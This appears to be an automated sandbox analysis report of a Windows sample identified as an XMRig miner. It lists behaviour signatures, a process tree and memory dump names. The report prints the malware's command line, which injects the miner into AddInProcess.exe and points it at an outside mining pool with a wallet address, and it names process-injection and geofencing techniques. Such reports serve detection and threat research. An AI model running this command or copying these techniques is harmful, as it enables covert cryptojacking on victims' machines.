Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
25/01/2023, 09:28
General
- Target 5ae3dd349f2353e1693d6390f054366f.exe
- Size 2.6MB
- Sample230125-lfbk3sfe94
- SHA256 ca4033db02bded2739ca4e31c72910e4c5995f9437cda0c4767a8113166d84b6
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 49 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 18 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\5ae3dd349f2353e1693d6390f054366f.exe"C:\Users\Admin\AppData\Local\Temp\5ae3dd349f2353e1693d6390f054366f.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\5ae3dd349f2353e1693d6390f054366f.exeC:\Users\Admin\AppData\Roaming\5ae3dd349f2353e1693d6390f054366f.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 45.142.122.11:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.Worker_CPU -p x --algo rx/0 --cpu-max-threads-hint=502⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
5ae3dd349f2353e1693d6390f054366f.exe
5ae3dd349f2353e1693d6390f054366f.exe
memory/1396-136-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/1396-138-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/1396-139-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/1996-153-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/1996-152-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/1996-150-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/2356-158-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/2356-165-0x0000023948750000-0x0000023948770000-memory.dmp
memory/2356-164-0x0000023948750000-0x0000023948770000-memory.dmp
memory/2356-163-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/2356-162-0x0000023948710000-0x0000023948750000-memory.dmp
memory/2356-161-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/2356-160-0x00000239486C0000-0x00000239486E0000-memory.dmp
memory/2356-156-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/2356-159-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/3508-155-0x00000243191F9000-0x00000243191FF000-memory.dmp
memory/3508-154-0x00000243191F9000-0x00000243191FF000-memory.dmp
memory/3508-151-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/3508-144-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/4920-145-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/4920-132-0x0000017B18990000-0x0000017B18C2C000-memory.dmp
memory/4920-133-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/4920-134-0x0000017B1A990000-0x0000017B1A9B2000-memory.dmp
memory/4920-137-0x00007FF80F660000-0x00007FF810121000-memory.dmp
memory/4920-140-0x0000017B348B0000-0x0000017B34941000-memory.dmp
memory/4920-141-0x0000017B19069000-0x0000017B1906F000-memory.dmp
memory/4920-146-0x0000017B19069000-0x0000017B1906F000-memory.dmp